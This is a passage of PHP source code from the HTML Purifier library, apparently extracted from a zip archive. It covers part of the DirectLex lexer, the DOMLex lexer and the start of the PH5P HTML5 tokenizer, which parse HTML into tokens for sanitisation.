);
if ($maintain_line_numbers) {
$token->rawPosition($current_line, $current_col);
$current_line += $this->substrCount($html, $nl, $cursor, $position_next_lt - $cursor);
}
$array[] = $token;
$cursor = $position_next_lt + 1;
$inside_tag = true;
continue;
} elseif (!$inside_tag) {
// We are not inside tag but there are no more tags
// If we're already at the end, break
if ($cursor === strlen($html)) {
break;
}
// Create Text of rest of string
$token = new
HTMLPurifier_Token_Text(
$this->parseText(
substr(
$html,
$cursor
), $config
)
);
if ($maintain_line_numbers) {
$token->rawPosition($current_line, $current_col);
}
$array[] = $token;
break;
} elseif ($inside_tag && $position_next_gt !== false) {
// We are in tag and it is well formed
// Grab the internals of the tag
$strlen_segment = $position_next_gt - $cursor;
if ($strlen_segment < 1) {
// there's nothing to process!
$token = new HTMLPurifier_Token_Text('<');
$cursor++;
continue;
}
$segment = substr($html, $cursor, $strlen_segment);
if ($segment === false) {
// somehow, we attempted to access beyond the end of
// the string, defense-in-depth, reported by Nate Abele
break;
}
// Check if it's a comment
if (substr($segment, 0, 3) === '!--') {
// re-determine segment length, looking for -->
$position_comment_end = strpos($html, '-->', $cursor);
if ($position_comment_end === false) {
// uh oh, we have a comment that extends to
// infinity. Can't be helped: set comment
// end position to end of string
if ($e) {
$e->send(E_WARNING, 'Lexer: Unclosed comment');
}
$position_comment_end = strlen($html);
$end = true;
} else {
$end = false;
}
$strlen_segment = $position_comment_end - $cursor;
$segment = substr($html, $cursor, $strlen_segment);
$token = new
HTMLPurifier_Token_Comment(
substr(
$segment,
3,
$strlen_segment - 3
)
);
if ($maintain_line_numbers) {
$token->rawPosition($current_line, $current_col);
$current_line += $this->substrCount($html, $nl, $cursor, $strlen_segment);
}
$array[] = $token;
$cursor = $end ? $position_comment_end : $position_comment_end + 3;
$inside_tag = false;
continue;
}
// Check if it's an end tag
$is_end_tag = (strpos($segment, '/') === 0);
if ($is_end_tag) {
$type = substr($segment, 1);
$token = new HTMLPurifier_Token_End($type);
if ($maintain_line_numbers) {
$token->rawPosition($current_line, $current_col);
$current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor);
}
$array[] = $token;
$inside_tag = false;
$cursor = $position_next_gt + 1;
continue;
}
// Check leading character is alnum, if not, we may
// have accidently grabbed an emoticon. Translate into
// text and go our merry way
if (!ctype_alpha($segment[0])) {
// XML: $segment[0] !== '_' && $segment[0] !== ':'
if ($e) {
$e->send(E_NOTICE, 'Lexer: Unescaped lt');
}
$token = new HTMLPurifier_Token_Text('<');
if ($maintain_line_numbers) {
$token->rawPosition($current_line, $current_col);
$current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor);
}
$array[] = $token;
$inside_tag = false;
continue;
}
// Check if it is explicitly self closing, if so, remove
// trailing slash. Remember, we could have a tag like <br>, so
// any later token processing scripts must convert improperly
// classified EmptyTags from StartTags.
$is_self_closing = (strrpos($segment, '/') === $strlen_segment - 1);
if ($is_self_closing) {
$strlen_segment--;
$segment = substr($segment, 0, $strlen_segment);
}
// Check if there are any attributes
$position_first_space = strcspn($segment, $this->_whitespace);
if ($position_first_space >= $strlen_segment) {
if ($is_self_closing) {
$token = new HTMLPurifier_Token_Empty($segment);
} else {
$token = new HTMLPurifier_Token_Start($segment);
}
if ($maintain_line_numbers) {
$token->rawPosition($current_line, $current_col);
$current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor);
}
$array[] = $token;
$inside_tag = false;
$cursor = $position_next_gt + 1;
continue;
}
// Grab out all the data
$type = substr($segment, 0, $position_first_space);
$attribute_string =
trim(
substr(
$segment,
$position_first_space
)
);
if ($attribute_string) {
$attr = $this->parseAttributeString(
$attribute_string,
$config,
$context
);
} else {
$attr = array();
}
if ($is_self_closing) {
$token = new HTMLPurifier_Token_Empty($type, $attr);
} else {
$token = new HTMLPurifier_Token_Start($type, $attr);
}
if ($maintain_line_numbers) {
$token->rawPosition($current_line, $current_col);
$current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor);
}
$array[] = $token;
$cursor = $position_next_gt + 1;
$inside_tag = false;
continue;
} else {
// inside tag, but there's no ending > sign
if ($e) {
$e->send(E_WARNING, 'Lexer: Missing gt');
}
$token = new
HTMLPurifier_Token_Text(
'<' .
$this->parseText(
substr($html, $cursor), $config
)
);
if ($maintain_line_numbers) {
$token->rawPosition($current_line, $current_col);
}
// no cursor scroll? Hmm...
$array[] = $token;
break;
}
break;
}
$context->destroy('CurrentLine');
$context->destroy('CurrentCol');
return $array;
}
/**
* PHP 5.0.x compatible substr_count that implements offset and length
* @param string $haystack
* @param string $needle
* @param int $offset
* @param int $length
* @return int
*/
protected function substrCount($haystack, $needle, $offset, $length)
{
static $oldVersion;
if ($oldVersion === null) {
$oldVersion = version_compare(PHP_VERSION, '5.1', '<');
}
if ($oldVersion) {
$haystack = substr($haystack, $offset, $length);
return substr_count($haystack, $needle);
} else {
return substr_count($haystack, $needle, $offset, $length);
}
}
/**
* Takes the inside of an HTML tag and makes an assoc array of attributes.
*
* @param string $string Inside of tag excluding name.
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array Assoc array of attributes.
*/
public function parseAttributeString($string, $config, $context)
{
$string = (string)$string; // quick typecast
if ($string == '') {
return array();
} // no attributes
$e = false;
if ($config->get('Core.CollectErrors')) {
$e =& $context->get('ErrorCollector');
}
// let's see if we can abort as quickly as possible
// one equal sign, no spaces => one attribute
$num_equal = substr_count($string, '=');
$has_space = strpos($string, ' ');
if ($num_equal === 0 && !$has_space) {
// bool attribute
return array($string => $string);
} elseif ($num_equal === 1 && !$has_space) {
// only one attribute
list($key, $quoted_value) = explode('=', $string);
$quoted_value = trim($quoted_value);
if (!$key) {
if ($e) {
$e->send(E_ERROR, 'Lexer: Missing attribute key');
}
return array();
}
if (!$quoted_value) {
return array($key => '');
}
$first_char = @$quoted_value[0];
$last_char = @$quoted_value[strlen($quoted_value) - 1];
$same_quote = ($first_char == $last_char);
$open_quote = ($first_char == '"' || $first_char == "'");
if ($same_quote && $open_quote) {
// well behaved
$value = substr($quoted_value, 1, strlen($quoted_value) - 2);
} else {
// not well behaved
if ($open_quote) {
if ($e) {
$e->send(E_ERROR, 'Lexer: Missing end quote');
}
$value = substr($quoted_value, 1);
} else {
$value = $quoted_value;
}
}
if ($value === false) {
$value = '';
}
return array($key => $this->parseAttr($value, $config));
}
// setup loop environment
$array = array(); // return assoc array of attributes
$cursor = 0; // current position in string (moves forward)
$size = strlen($string); // size of the string (stays the same)
// if we have unquoted attributes, the parser expects a terminating
// space, so let's guarantee that there's always a terminating space.
$string .= ' ';
$old_cursor = -1;
while ($cursor < $size) {
if ($old_cursor >= $cursor) {
throw new Exception("Infinite loop detected");
}
$old_cursor = $cursor;
$cursor += ($value = strspn($string, $this->_whitespace, $cursor));
// grab the key
$key_begin = $cursor; //we're currently at the start of the key
// scroll past all characters that are the key (not whitespace or =)
$cursor += strcspn($string, $this->_whitespace . '=', $cursor);
$key_end = $cursor; // now at the end of the key
$key = substr($string, $key_begin, $key_end - $key_begin);
if (!$key) {
if ($e) {
$e->send(E_ERROR, 'Lexer: Missing attribute key');
}
$cursor += 1 + strcspn($string, $this->_whitespace, $cursor + 1); // prevent infinite loop
continue; // empty key
}
// scroll past all whitespace
$cursor += strspn($string, $this->_whitespace, $cursor);
if ($cursor >= $size) {
$array[$key] = $key;
break;
}
// if the next character is an equal sign, we've got a regular
// pair, otherwise, it's a bool attribute
$first_char = @$string[$cursor];
if ($first_char == '=') {
// key="value"
$cursor++;
$cursor += strspn($string, $this->_whitespace, $cursor);
if ($cursor === false) {
$array[$key] = '';
break;
}
// we might be in front of a quote right now
$char = @$string[$cursor];
if ($char == '"' || $char == "'") {
// it's quoted, end bound is $char
$cursor++;
$value_begin = $cursor;
$cursor = strpos($string, $char, $cursor);
$value_end = $cursor;
} else {
// it's not quoted, end bound is whitespace
$value_begin = $cursor;
$cursor += strcspn($string, $this->_whitespace, $cursor);
$value_end = $cursor;
}
// we reached a premature end
if ($cursor === false) {
$cursor = $size;
$value_end = $cursor;
}
$value = substr($string, $value_begin, $value_end - $value_begin);
if ($value === false) {
$value = '';
}
$array[$key] = $this->parseAttr($value, $config);
$cursor++;
} else {
// boolattr
if ($key !== '') {
$array[$key] = $key;
} else {
// purely theoretical
if ($e) {
$e->send(E_ERROR, 'Lexer: Missing attribute key');
}
}
}
}
return $array;
}
}
// vim: et sw=4 sts=4
PK j�$Zd�ﻯ0 �0 2 htmlpurifier/library/HTMLPurifier/Lexer/DOMLex.phpnu �[��� <?php
/**
* Parser that uses PHP 5's DOM extension (part of the core).
*
* In PHP 5, the DOM XML extension was revamped into DOM and added to the core.
* It gives us a forgiving HTML parser, which we use to transform the HTML
* into a DOM, and then into the tokens. It is blazingly fast (for large
* documents, it performs twenty times faster than
* HTMLPurifier_Lexer_DirectLex,and is the default choice for PHP 5.
*
* @note Any empty elements will have empty tokens associated with them, even if
* this is prohibited by the spec. This is cannot be fixed until the spec
* comes into play.
*
* @note PHP's DOM extension does not actually parse any entities, we use
* our own function to do that.
*
* @warning DOM tends to drop whitespace, which may wreak havoc on indenting.
* If this is a huge problem, due to the fact that HTML is hand
* edited and you are unable to get a parser cache that caches the
* the output of HTML Purifier while keeping the original HTML lying
* around, you may want to run Tidy on the resulting output or use
* HTMLPurifier_DirectLex
*/
class HTMLPurifier_Lexer_DOMLex extends HTMLPurifier_Lexer
{
/**
* @type HTMLPurifier_TokenFactory
*/
private $factory;
public function __construct()
{
// setup the factory
parent::__construct();
$this->factory = new HTMLPurifier_TokenFactory();
}
/**
* @param string $html
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return HTMLPurifier_Token[]
*/
public function tokenizeHTML($html, $config, $context)
{
$html = $this->normalize($html, $config, $context);
// attempt to armor stray angled brackets that cannot possibly
// form tags and thus are probably being used as emoticons
if ($config->get('Core.AggressivelyFixLt')) {
$char = '[^a-z!\/]';
$comment = "/<!--(.*?)(-->|\z)/is";
$html = preg_replace_callback($comment, array($this, 'callbackArmorCommentEntities'), $html);
do {
$old = $html;
$html = preg_replace("/<($char)/i", '<\\1', $html);
} while ($html !== $old);
$html = preg_replace_callback($comment, array($this, 'callbackUndoCommentSubst'), $html); // fix comments
}
// preprocess html, essential for UTF-8
$html = $this->wrapHTML($html, $config, $context);
$doc = new DOMDocument();
$doc->encoding = 'UTF-8'; // theoretically, the above has this covered
$options = 0;
if ($config->get('Core.AllowParseManyTags') && defined('LIBXML_PARSEHUGE')) {
$options |= LIBXML_PARSEHUGE;
}
set_error_handler(array($this, 'muteErrorHandler'));
// loadHTML() fails on PHP 5.3 when second parameter is given
if ($options) {
$doc->loadHTML($html, $options);
} else {
$doc->loadHTML($html);
}
restore_error_handler();
$body = $doc->getElementsByTagName('html')->item(0)-> // <html>
getElementsByTagName('body')->item(0); // <body>
$div = $body->getElementsByTagName('div')->item(0); // <div>
$tokens = array();
$this->tokenizeDOM($div, $tokens, $config);
// If the div has a sibling, that means we tripped across
// a premature </div> tag. So remove the div we parsed,
// and then tokenize the rest of body. We can't tokenize
// the sibling directly as we'll lose the tags in that case.
if ($div->nextSibling) {
$body->removeChild($div);
$this->tokenizeDOM($body, $tokens, $config);
}
return $tokens;
}
/**
* Iterative function that tokenizes a node, putting it into an accumulator.
* To iterate is human, to recurse divine - L. Peter Deutsch
* @param DOMNode $node DOMNode to be tokenized.
* @param HTMLPurifier_Token[] $tokens Array-list of already tokenized tokens.
* @return HTMLPurifier_Token of node appended to previously passed tokens.
*/
protected function tokenizeDOM($node, &$tokens, $config)
{
$level = 0;
$nodes = array($level => new HTMLPurifier_Queue(array($node)));
$closingNodes = array();
do {
while (!$nodes[$level]->isEmpty()) {
$node = $nodes[$level]->shift(); // FIFO
$collect = $level > 0 ? true : false;
$needEndingTag = $this->createStartNode($node, $tokens, $collect, $config);
if ($needEndingTag) {
$closingNodes[$level][] = $node;
}
if ($node->childNodes && $node->childNodes->length) {
$level++;
$nodes[$level] = new HTMLPurifier_Queue();
foreach ($node->childNodes as $childNode) {
$nodes[$level]->push($childNode);
}
}
}
$level--;
if ($level && isset($closingNodes[$level])) {
while ($node = array_pop($closingNodes[$level])) {
$this->createEndNode($node, $tokens);
}
}
} while ($level > 0);
}
/**
* Portably retrieve the tag name of a node; deals with older versions
* of libxml like 2.7.6
* @param DOMNode $node
*/
protected function getTagName($node)
{
if (isset($node->tagName)) {
return $node->tagName;
} else if (isset($node->nodeName)) {
return $node->nodeName;
} else if (isset($node->localName)) {
return $node->localName;
}
return null;
}
/**
* Portably retrieve the data of a node; deals with older versions
* of libxml like 2.7.6
* @param DOMNode $node
*/
protected function getData($node)
{
if (isset($node->data)) {
return $node->data;
} else if (isset($node->nodeValue)) {
return $node->nodeValue;
} else if (isset($node->textContent)) {
return $node->textContent;
}
return null;
}
/**
* @param DOMNode $node DOMNode to be tokenized.
* @param HTMLPurifier_Token[] $tokens Array-list of already tokenized tokens.
* @param bool $collect Says whether or start and close are collected, set to
* false at first recursion because it's the implicit DIV
* tag you're dealing with.
* @return bool if the token needs an endtoken
* @todo data and tagName properties don't seem to exist in DOMNode?
*/
protected function createStartNode($node, &$tokens, $collect, $config)
{
// intercept non element nodes. WE MUST catch all of them,
// but we're not getting the character reference nodes because
// those should have been preprocessed
if ($node->nodeType === XML_TEXT_NODE) {
$data = $this->getData($node); // Handle variable data property
if ($data !== null) {
$tokens[] = $this->factory->createText($data);
}
return false;
} elseif ($node->nodeType === XML_CDATA_SECTION_NODE) {
// undo libxml's special treatment of <script> and <style> tags
$last = end($tokens);
$data = $node->data;
// (note $node->tagname is already normalized)
if ($last instanceof HTMLPurifier_Token_Start && ($last->name == 'script' || $last->name == 'style')) {
$new_data = trim($data);
if (substr($new_data, 0, 4) === '<!--') {
$data = substr($new_data, 4);
if (substr($data, -3) === '-->') {
$data = substr($data, 0, -3);
} else {
// Highly suspicious! Not sure what to do...
}
}
}
$tokens[] = $this->factory->createText($this->parseText($data, $config));
return false;
} elseif ($node->nodeType === XML_COMMENT_NODE) {
// this is code is only invoked for comments in script/style in versions
// of libxml pre-2.6.28 (regular comments, of course, are still
// handled regularly)
$tokens[] = $this->factory->createComment($node->data);
return false;
} elseif ($node->nodeType !== XML_ELEMENT_NODE) {
// not-well tested: there may be other nodes we have to grab
return false;
}
$attr = $node->hasAttributes() ? $this->transformAttrToAssoc($node->attributes) : array();
$tag_name = $this->getTagName($node); // Handle variable tagName property
if (empty($tag_name)) {
return (bool) $node->childNodes->length;
}
// We still have to make sure that the element actually IS empty
if (!$node->childNodes->length) {
if ($collect) {
$tokens[] = $this->factory->createEmpty($tag_name, $attr);
}
return false;
} else {
if ($collect) {
$tokens[] = $this->factory->createStart($tag_name, $attr);
}
return true;
}
}
/**
* @param DOMNode $node
* @param HTMLPurifier_Token[] $tokens
*/
protected function createEndNode($node, &$tokens)
{
$tag_name = $this->getTagName($node); // Handle variable tagName property
$tokens[] = $this->factory->createEnd($tag_name);
}
/**
* Converts a DOMNamedNodeMap of DOMAttr objects into an assoc array.
*
* @param DOMNamedNodeMap $node_map DOMNamedNodeMap of DOMAttr objects.
* @return array Associative array of attributes.
*/
protected function transformAttrToAssoc($node_map)
{
// NamedNodeMap is documented very well, so we're using undocumented
// features, namely, the fact that it implements Iterator and
// has a ->length attribute
if ($node_map->length === 0) {
return array();
}
$array = array();
foreach ($node_map as $attr) {
$array[$attr->name] = $attr->value;
}
return $array;
}
/**
* An error handler that mutes all errors
* @param int $errno
* @param string $errstr
*/
public function muteErrorHandler($errno, $errstr)
{
}
/**
* Callback function for undoing escaping of stray angled brackets
* in comments
* @param array $matches
* @return string
*/
public function callbackUndoCommentSubst($matches)
{
return '<!--' . strtr($matches[1], array('&' => '&', '<' => '<')) . $matches[2];
}
/**
* Callback function that entity-izes ampersands in comments so that
* callbackUndoCommentSubst doesn't clobber them
* @param array $matches
* @return string
*/
public function callbackArmorCommentEntities($matches)
{
return '<!--' . str_replace('&', '&', $matches[1]) . $matches[2];
}
/**
* Wraps an HTML fragment in the necessary HTML
* @param string $html
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return string
*/
protected function wrapHTML($html, $config, $context, $use_div = true)
{
$def = $config->getDefinition('HTML');
$ret = '';
if (!empty($def->doctype->dtdPublic) || !empty($def->doctype->dtdSystem)) {
$ret .= '<!DOCTYPE html ';
if (!empty($def->doctype->dtdPublic)) {
$ret .= 'PUBLIC "' . $def->doctype->dtdPublic . '" ';
}
if (!empty($def->doctype->dtdSystem)) {
$ret .= '"' . $def->doctype->dtdSystem . '" ';
}
$ret .= '>';
}
$ret .= '<html><head>';
$ret .= '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />';
// No protection if $html contains a stray </div>!
$ret .= '</head><body>';
if ($use_div) $ret .= '<div>';
$ret .= $html;
if ($use_div) $ret .= '</div>';
$ret .= '</body></html>';
return $ret;
}
}
// vim: et sw=4 sts=4
PK j�$Z��8�5� 5� 0 htmlpurifier/library/HTMLPurifier/Lexer/PH5P.phpnu �[��� <?php
/**
* Experimental HTML5-based parser using Jeroen van der Meer's PH5P library.
* Occupies space in the HTML5 pseudo-namespace, which may cause conflicts.
*
* @note
* Recent changes to PHP's DOM extension have resulted in some fatal
* error conditions with the original version of PH5P. Pending changes,
* this lexer will punt to DirectLex if DOM throws an exception.
*/
class HTMLPurifier_Lexer_PH5P extends HTMLPurifier_Lexer_DOMLex
{
/**
* @param string $html
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return HTMLPurifier_Token[]
*/
public function tokenizeHTML($html, $config, $context)
{
$new_html = $this->normalize($html, $config, $context);
$new_html = $this->wrapHTML($new_html, $config, $context, false /* no div */);
try {
$parser = new HTML5($new_html);
$doc = $parser->save();
} catch (DOMException $e) {
// Uh oh, it failed. Punt to DirectLex.
$lexer = new HTMLPurifier_Lexer_DirectLex();
$context->register('PH5PError', $e); // save the error, so we can detect it
return $lexer->tokenizeHTML($html, $config, $context); // use original HTML
}
$tokens = array();
$this->tokenizeDOM(
$doc->getElementsByTagName('html')->item(0)-> // <html>
getElementsByTagName('body')->item(0) // <body>
,
$tokens, $config
);
return $tokens;
}
}
/*
Copyright 2007 Jeroen van der Meer <http://jero.net/>
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
class HTML5
{
private $data;
private $char;
private $EOF;
private $state;
private $tree;
private $token;
private $content_model;
private $escape = false;
private $entities = array(
'AElig;',
'AElig',
'AMP;',
'AMP',
'Aacute;',
'Aacute',
'Acirc;',
'Acirc',
'Agrave;',
'Agrave',
'Alpha;',
'Aring;',
'Aring',
'Atilde;',
'Atilde',
'Auml;',
'Auml',
'Beta;',
'COPY;',
'COPY',
'Ccedil;',
'Ccedil',
'Chi;',
'Dagger;',
'Delta;',
'ETH;',
'ETH',
'Eacute;',
'Eacute',
'Ecirc;',
'Ecirc',
'Egrave;',
'Egrave',
'Epsilon;',
'Eta;',
'Euml;',
'Euml',
'GT;',
'GT',
'Gamma;',
'Iacute;',
'Iacute',
'Icirc;',
'Icirc',
'Igrave;',
'Igrave',
'Iota;',
'Iuml;',
'Iuml',
'Kappa;',
'LT;',
'LT',
'Lambda;',
'Mu;',
'Ntilde;',
'Ntilde',
'Nu;',
'OElig;',
'Oacute;',
'Oacute',
'Ocirc;',
'Ocirc',
'Ograve;',
'Ograve',
'Omega;',
'Omicron;',
'Oslash;',
'Oslash',
'Otilde;',
'Otilde',
'Ouml;',
'Ouml',
'Phi;',
'Pi;',
'Prime;',
'Psi;',
'QUOT;',
'QUOT',
'REG;',
'REG',
'Rho;',
'Scaron;',
'Sigma;',
'THORN;',
'THORN',
'TRADE;',
'Tau;',
'Theta;',
'Uacute;',
'Uacute',
'Ucirc;',
'Ucirc',
'Ugrave;',
'Ugrave',
'Upsilon;',
'Uuml;',
'Uuml',
'Xi;',
'Yacute;',
'Yacute',
'Yuml;',
'Zeta;',
'aacute;',
'aacute',
'acirc;',
'acirc',
'acute;',
'acute',
'aelig;',
'aelig',
'agrave;',
'agrave',
'alefsym;',
'alpha;',
'amp;',
'amp',
'and;',
'ang;',
'apos;',
'aring;',
'aring',
'asymp;',
'atilde;',
'atilde',
'auml;',
'auml',
'bdquo;',
'beta;',
'brvbar;',
'brvbar',
'bull;',
'cap;',
'ccedil;',
'ccedil',
'cedil;',
'cedil',
'cent;',
'cent',
'chi;',
'circ;',
'clubs;',
'cong;',
'copy;',
'copy',
'crarr;',
'cup;',
'curren;',
'curren',
'dArr;',
'dagger;',
'darr;',
'deg;',
'deg',
'delta;',
'diams;',
'divide;',
'divide',
'eacute;',
'eacute',
'ecirc;',
'ecirc',
'egrave;',
'egrave',
'empty;',
'emsp;',
'ensp;',
'epsilon;',
'equiv;',
'eta;',
'eth;',
'eth',
'euml;',
'euml',
'euro;',
'exist;',
'fnof;',
'forall;',
'frac12;',
'frac12',
'frac14;',
'frac14',
'frac34;',
'frac34',
'frasl;',
'gamma;',
'ge;',
'gt;',
'gt',
'hArr;',
'harr;',
'hearts;',
'hellip;',
'iacute;',
'iacute',
'icirc;',
'icirc',
'iexcl;',
'iexcl',
'igrave;',
'igrave',
'image;',
'infin;',
'int;',
'iota;',
'iquest;',
'iquest',
'isin;',
'iuml;',
'iuml',
'kappa;',
'lArr;',
'lambda;',
'lang;',
'laquo;',
'laquo',
'larr;',
'lceil;',
'ldquo;',
'le;',
'lfloor;',
'lowast;',
'loz;',
'lrm;',
'lsaquo;',
'lsquo;',
'lt;',
'lt',
'macr;',
'macr',
'mdash;',
'micro;',
'micro',
'middot;',
'middot',
'minus;',
'mu;',
'nabla;',
'nbsp;',
'nbsp',
'ndash;',
'ne;',
'ni;',
'not;',
'not',
'notin;',
'nsub;',
'ntilde;',
'ntilde',
'nu;',
'oacute;',
'oacute',
'ocirc;',
'ocirc',
'oelig;',
'ograve;',
'ograve',
'oline;',
'omega;',
'omicron;',
'oplus;',
'or;',
'ordf;',
'ordf',
'ordm;',
'ordm',
'oslash;',
'oslash',
'otilde;',
'otilde',
'otimes;',
'ouml;',
'ouml',
'para;',
'para',
'part;',
'permil;',
'perp;',
'phi;',
'pi;',
'piv;',
'plusmn;',
'plusmn',
'pound;',
'pound',
'prime;',
'prod;',
'prop;',
'psi;',
'quot;',
'quot',
'rArr;',
'radic;',
'rang;',
'raquo;',
'raquo',
'rarr;',
'rceil;',
'rdquo;',
'real;',
'reg;',
'reg',
'rfloor;',
'rho;',
'rlm;',
'rsaquo;',
'rsquo;',
'sbquo;',
'scaron;',
'sdot;',
'sect;',
'sect',
'shy;',
'shy',
'sigma;',
'sigmaf;',
'sim;',
'spades;',
'sub;',
'sube;',
'sum;',
'sup1;',
'sup1',
'sup2;',
'sup2',
'sup3;',
'sup3',
'sup;',
'supe;',
'szlig;',
'szlig',
'tau;',
'there4;',
'theta;',
'thetasym;',
'thinsp;',
'thorn;',
'thorn',
'tilde;',
'times;',
'times',
'trade;',
'uArr;',
'uacute;',
'uacute',
'uarr;',
'ucirc;',
'ucirc',
'ugrave;',
'ugrave',
'uml;',
'uml',
'upsih;',
'upsilon;',
'uuml;',
'uuml',
'weierp;',
'xi;',
'yacute;',
'yacute',
'yen;',
'yen',
'yuml;',
'yuml',
'zeta;',
'zwj;',
'zwnj;'
);
const PCDATA = 0;
const RCDATA = 1;
const CDATA = 2;
const PLAINTEXT = 3;
const DOCTYPE = 0;
const STARTTAG = 1;
const ENDTAG = 2;
const COMMENT = 3;
const CHARACTR = 4;
const EOF = 5;
public function __construct($data)
{
$this->data = $data;
$this->char = -1;
$this->EOF = strlen($data);
$this->tree = new HTML5TreeConstructer;
$this->content_model = self::PCDATA;
$this->state = 'data';
while ($this->state !== null) {
$this->{$this->state . 'State'}();
}
}
public function save()
{
return $this->tree->save();
}
private function char()
{
return ($this->char < $this->EOF)
? $this->data[$this->char]
: false;
}
private function character($s, $l = 0)
{
if ($s + $l < $this->EOF) {
if ($l === 0) {
return $this->data[$s];
} else {
return substr($this->data, $s, $l);
}
}
}
private function characters($char_class, $start)
{
return preg_replace('#^([' . $char_class . ']+).*#s', '\\1', substr($this->data, $start));
}
private function dataState()
{
// Consume the next input character
$this->char++;
$char = $this->char();
if ($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) {
/* U+0026 AMPERSAND (&)
When the content model flag is set to one of the PCDATA or RCDATA
states: switch to the entity data state. Otherwise: treat it as per
the "anything else" entry below. */
$this->state = 'entityData';
} elseif ($char === '-') {
/* If the content model flag is set to either the RCDATA state or
the CDATA state, and the escape flag is false, and there are at
least three characters before this one in the input stream, and the
last four characters in the input stream, including this one, are
U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS,
and U+002D HYPHEN-MINUS ("<!--"), then set the escape flag to true. */
if (($this->content_model === self::RCDATA || $this->content_model ===
self::CDATA) && $this->escape === false &&
$this->char >= 3 && $this->character($this->char - 4, 4) === '<!--'
) {
$this->escape = true;
}
/* In any case, emit the input character as a character token. Stay
in the data state. */
$this->emitToken(
array(
'type' => self::CHARACTR,
'data' => $char
)
);
/* U+003C LESS-THAN SIGN (<) */
} elseif ($char === '<' && ($this->content_model === self::PCDATA ||
(($this->content_model === self::RCDATA ||
$this->content_model === self::CDATA) && $this->escape === false))
) {
/* When the content model flag is set to the PCDATA state: switch
to the tag open state.
When the content model flag is set to either the RCDATA state or
the CDATA state and the escape flag is false: switch to the tag
open state.
Otherwise: treat it as per the "anything else" entry below. */
$this->state = 'tagOpen';
/* U+003E GREATER-THAN SIGN (>) */
} elseif ($char === '>') {
/* If the content model flag is set to either the RCDATA state or
the CDATA state, and the escape flag is true, and the last three
characters in the input stream including this one are U+002D
HYPHEN-MINUS, U+002D HYPHEN-MINUS, U+003E GREATER-THAN SIGN ("-->"),
set the escape flag to false. */
if (($this->content_model === self::RCDATA ||
$this->content_model === self::CDATA) && $this->escape === true &&
$this->character($this->char, 3) === '-->'
) {
$this->escape = false;
}
/* In any case, emit the input character as a character token.
Stay in the data state. */
$this->emitToken(
array(
'type' => self::CHARACTR,
'data' => $char
)
);
} elseif ($this->char === $this->EOF) {
/* EOF
Emit an end-of-file token. */
$this->EOF();
} elseif ($this->content_model === self::PLAINTEXT) {
/* When the content model flag is set to the PLAINTEXT state
THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of
the text and emit it as a character token. */
$this->emitToken(
array(
'type' => self::CHARACTR,
'data' => substr($this->data, $this->char)
)
);
$this->EOF();
} else {
/* Anything else
THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that
otherwise would also be treated as a character token and emit it
as a single character token. Stay in the data state. */
$len = strcspn($this->data, '<&', $this->char);
$char = substr($this->data, $this->char, $len);
$this->char += $len - 1;
$this->emitToken(
array(
'type' => self::CHARACTR,
'data' => $char
)
);
$this->state = 'data';
}
}
private function entityDataState()
{
// Attempt to consume an entity.
$entity = $this->entity();
// If nothing is returned, emit a U+0026 AMPERSAND character token.
// Otherwise, emit the character token that was returned.
$char = (!$entity) ? '&' : $entity;
$this->emitToken(
array(
'type' => self::CHARACTR,
'data' => $char
)
);
// Finally, switch to the data state.
$this->state = 'data';
}
private function tagOpenState()
{
switch ($this->content_model) {
case self::RCDATA:
case self::CDATA:
/* If the next input character is a U+002F SOLIDUS (/) character,
consume it and switch to the close tag open state. If the next
input character is not a U+002F SOLIDUS (/) character, emit a
U+003C LESS-THAN SIGN character token and switch to the data
state to process the next input character. */
if ($this->character($this->char + 1) === '/') {
$this->char++;
$this->state = 'closeTagOpen';
} else {
$this->emitToken(
array(
'type' => self::CHARACTR,
'data' => '<'
)
);
$this->state = 'data';
}
break;
case self::PCDATA:
// If the content model flag is set to the PCDATA state
// Consume the next input character:
$this->char++;
$char = $this->char();
if ($char === '!') {
/* U+0021 EXCLAMATION MARK (!)
Switch to the markup declaration open state. */
$this->state = 'markupDeclarationOpen';
} elseif ($char === '/') {
/* U+002F SOLIDUS (/)
Switch to the close tag open state. */
$this->state = 'closeTagOpen';
} elseif (preg_match('/^[A-Za-z]$/', $char)) {
/* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z
Create a new start tag token, set its tag name to the lowercase
version of the input character (add 0x0020 to the character's code
point), then switch to the tag name state. (Don't emit the token
yet; further details will be filled in before it is emitted.) */
$this->token = array(
'name' => strtolower($char),
'type' => self::STARTTAG,
'attr' => array()
);
$this->state = 'tagName';
} elseif ($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Parse error. Emit a U+003C LESS-THAN SIGN character token and a
U+003E GREATER-THAN SIGN character token. Switch to the data state. */
$this->emitToken(
array(
'type' => self::CHARACTR,
'data' => '<>'
)
);
$this->state = 'data';
} elseif ($char === '?') {
/* U+003F QUESTION MARK (?)
Parse error. Switch to the bogus comment state. */
